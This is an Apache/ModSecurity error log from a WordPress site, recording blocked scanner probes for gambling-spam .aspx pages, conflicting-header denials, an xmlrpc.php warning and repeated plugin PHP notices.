[Fri Mar 27 20:34:33.073726 2026] [:error] [pid 4293:tid 4315] [client 95.91.110.210:38792] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acZ5WZLjeJUC3OKtEx-V5wAAAVQ"]
[Fri Mar 27 20:34:35.725163 2026] [:error] [pid 4293:tid 4310] [client 95.91.110.210:38804] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acZ5W5LjeJUC3OKtEx-V8gAAAU8"]
[Fri Mar 27 20:34:38.305411 2026] [:error] [pid 4293:tid 4298] [client 95.91.110.210:37070] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acZ5XpLjeJUC3OKtEx-V_wAAAUM"]
[Fri Mar 27 20:34:41.031302 2026] [:error] [pid 4341:tid 4360] [client 95.91.110.210:37084] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acZ5YeKJWrNB5dMlERGsOgAAAZE"]
[Fri Mar 27 20:34:44.925068 2026] [:error] [pid 4341:tid 4363] [client 95.91.110.210:37096] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acZ5ZOKJWrNB5dMlERGsQQAAAZQ"]
[Fri Mar 27 20:34:48.765819 2026] [:error] [pid 63897:tid 63903] [client 95.91.110.210:16898] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acZ5aGVSkmYmLu7ycYhVwQAAAQQ"]
[Fri Mar 27 20:34:54.745477 2026] [:error] [pid 4293:tid 4306] [client 95.91.110.210:16908] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acZ5bpLjeJUC3OKtEx-WMAAAAUs"]
[Fri Mar 27 20:35:01.829070 2026] [:error] [pid 4341:tid 4353] [client 95.91.110.210:20580] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acZ5deKJWrNB5dMlERGsaQAAAYo"]
[Sat Mar 28 00:54:32.915162 2026] [:error] [pid 11768:tid 11784] [client 177.227.192.184:14189] [client 177.227.192.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.227.192.184, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aca2SMLK0swIwlw7rFacKQAAAQw"]
[Sat Mar 28 02:48:48.192856 2026] [:error] [pid 11325:tid 11759] [client 65.108.2.171:21646] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acbREI9aMci1IHcmG6IIkQAAANI"]
[Sat Mar 28 02:48:50.749150 2026] [:error] [pid 11324:tid 11722] [client 65.108.2.171:21652] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acbREjIhTRer7nZpUKj0BgAAAIg"]
[Sat Mar 28 02:48:53.326390 2026] [:error] [pid 11323:tid 11702] [client 65.108.2.171:21666] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acbRFRruG7-TT-rIgF8G_QAAABY"]
[Sat Mar 28 02:48:55.730615 2026] [:error] [pid 11768:tid 11776] [client 65.108.2.171:42678] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acbRF8LK0swIwlw7rFbcngAAAQQ"]
[Sat Mar 28 02:48:58.279432 2026] [:error] [pid 11768:tid 11792] [client 65.108.2.171:42690] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acbRGsLK0swIwlw7rFbcrQAAARQ"]
[Sat Mar 28 02:49:00.735995 2026] [:error] [pid 11325:tid 11744] [client 65.108.2.171:42700] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acbRHI9aMci1IHcmG6IIoAAAAMM"]
[Sat Mar 28 02:49:03.197916 2026] [:error] [pid 31054:tid 31058] [client 65.108.2.171:42710] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acbRH5wv8eb6fRZGI77hQgAAAEE"]
[Sat Mar 28 02:49:05.718656 2026] [:error] [pid 11324:tid 11729] [client 65.108.2.171:54814] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acbRITIhTRer7nZpUKj0DwAAAI8"]
[Sat Mar 28 02:49:08.225791 2026] [:error] [pid 11324:tid 11721] [client 65.108.2.171:54830] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acbRJDIhTRer7nZpUKj0EwAAAIc"]
[Sat Mar 28 02:49:10.672053 2026] [:error] [pid 11768:tid 11786] [client 65.108.2.171:54836] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acbRJsLK0swIwlw7rFbcyAAAAQ4"]
[Sat Mar 28 02:49:13.141088 2026] [:error] [pid 11325:tid 11752] [client 65.108.2.171:54852] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acbRKY9aMci1IHcmG6IIqQAAAMs"]
[Sat Mar 28 02:49:15.639923 2026] [:error] [pid 11768:tid 11788] [client 65.108.2.171:13412] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acbRK8LK0swIwlw7rFbc0QAAARA"]
[Sat Mar 28 02:49:18.147917 2026] [:error] [pid 11325:tid 11744] [client 65.108.2.171:13416] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acbRLo9aMci1IHcmG6IIrgAAAMM"]
[Sat Mar 28 02:49:20.666073 2026] [:error] [pid 11324:tid 11724] [client 65.108.2.171:13432] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "acbRMDIhTRer7nZpUKj0GAAAAIo"]
[Sat Mar 28 02:49:23.019330 2026] [:error] [pid 31054:tid 31063] [client 65.108.2.171:13434] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acbRM5wv8eb6fRZGI77hiAAAAEY"]
[Sat Mar 28 02:49:25.467285 2026] [:error] [pid 11768:tid 11774] [client 65.108.2.171:38688] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acbRNcLK0swIwlw7rFbc8QAAAQI"]
[Sat Mar 28 02:49:27.974554 2026] [:error] [pid 11324:tid 11736] [client 65.108.2.171:38696] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acbRNzIhTRer7nZpUKj0HAAAAJY"]
[Sat Mar 28 02:49:30.433076 2026] [:error] [pid 11325:tid 11758] [client 65.108.2.171:38708] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acbROo9aMci1IHcmG6IIxAAAANE"]
[Sat Mar 28 02:49:32.959064 2026] [:error] [pid 11324:tid 11714] [client 65.108.2.171:38710] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acbRPDIhTRer7nZpUKj0KAAAAIA"]
[Sat Mar 28 02:49:35.339187 2026] [:error] [pid 11325:tid 11752] [client 65.108.2.171:60018] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acbRP49aMci1IHcmG6IIywAAAMs"]
[Sat Mar 28 02:49:37.758643 2026] [:error] [pid 11324:tid 11733] [client 65.108.2.171:60032] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acbRQTIhTRer7nZpUKj0MgAAAJM"]
[Sat Mar 28 03:46:07.202765 2026] [:error] [pid 11323:tid 11703] [client 43.135.134.127:43998] [client 43.135.134.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acbefxruG7-TT-rIgF8SqwAAABc"]
[Sat Mar 28 08:54:21.513669 2026] [:error] [pid 64861:tid 64955] [client 43.166.128.86:39598] [client 43.166.128.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "accmvexK22_lUN2kvnWE6AAAAJQ"]
[Sat Mar 28 09:25:53.623273 2026] [:error] [pid 43579:tid 43628] [client 2.58.56.116:58407] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "accuISRqN4JVI8gB7AmllwAAApQ"]
[Sat Mar 28 09:25:54.130222 2026] [:error] [pid 43579:tid 43619] [client 2.58.56.116:58936] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "accuIiRqN4JVI8gB7AmlowAAAos"]
[Sat Mar 28 09:25:54.633719 2026] [:error] [pid 43578:tid 43598] [client 2.58.56.116:59681] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "accuInNG2YdGm41aN8LxYwAAAlE"]
[Sat Mar 28 09:25:55.154009 2026] [:error] [pid 43578:tid 43584] [client 2.58.56.116:60127] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "accuI3NG2YdGm41aN8LxawAAAkM"]
[Sat Mar 28 12:32:56.391674 2026] [proxy_fcgi:error] [pid 64861:tid 64952] [client 103.4.122.14:50726] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Mar 28 12:33:14.333950 2026] [proxy_fcgi:error] [pid 34631:tid 34660] [client 103.4.122.14:50794] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Mar 28 14:05:05.751292 2026] [:error] [pid 43578:tid 43603] [client 43.166.134.47:60948] [client 43.166.134.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acdvkXNG2YdGm41aN8J6aAAAAlY"]
[Sat Mar 28 14:13:01.583185 2026] [:error] [pid 43578:tid 43592] [client 51.68.233.43:47290] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acdxbXNG2YdGm41aN8J8hQAAAks"]
[Sat Mar 28 14:13:04.144091 2026] [:error] [pid 43578:tid 43596] [client 51.68.233.43:54340] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acdxcHNG2YdGm41aN8J8jQAAAk8"]
[Sat Mar 28 14:13:06.492234 2026] [:error] [pid 43578:tid 43604] [client 51.68.233.43:54344] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acdxcnNG2YdGm41aN8J8kAAAAlc"]
[Sat Mar 28 14:13:08.943412 2026] [:error] [pid 2877:tid 2898] [client 51.68.233.43:54352] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acdxdLgM4xL1Xj409YT4ugAAARM"]
[Sat Mar 28 14:13:11.445988 2026] [:error] [pid 2877:tid 2896] [client 51.68.233.43:56654] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acdxd7gM4xL1Xj409YT4vAAAARE"]
[Sat Mar 28 14:13:13.894979 2026] [:error] [pid 43578:tid 43598] [client 51.68.233.43:56658] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acdxeXNG2YdGm41aN8J8qQAAAlE"]
[Sat Mar 28 14:13:16.357210 2026] [:error] [pid 43547:tid 43571] [client 51.68.233.43:56666] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acdxfD4ZEfdetXP-9aDY2AAAAhY"]
[Sat Mar 28 14:13:18.811899 2026] [:error] [pid 64861:tid 64954] [client 51.68.233.43:56680] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acdxfuxK22_lUN2kvnXfzgAAAJM"]
[Sat Mar 28 14:13:21.433724 2026] [:error] [pid 64860:tid 64913] [client 51.68.233.43:48306] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acdxgRkU3N0pg_4aEL9gSAAAAEU"]
[Sat Mar 28 14:13:24.026612 2026] [:error] [pid 43579:tid 43614] [client 51.68.233.43:48320] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acdxhCRqN4JVI8gB7AnMdgAAAoY"]
[Sat Mar 28 14:13:26.329542 2026] [:error] [pid 43578:tid 43592] [client 51.68.233.43:48322] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acdxhnNG2YdGm41aN8J8vAAAAks"]
[Sat Mar 28 14:13:28.770564 2026] [:error] [pid 64859:tid 64890] [client 51.68.233.43:48326] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acdxiG3qEBHXq3rHdBnwdQAAAAk"]
[Sat Mar 28 14:13:31.190060 2026] [:error] [pid 34631:tid 34667] [client 51.68.233.43:46840] [client 51.68.233.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acdxiztzjMMS6kojpeS7cQAAAcc"]
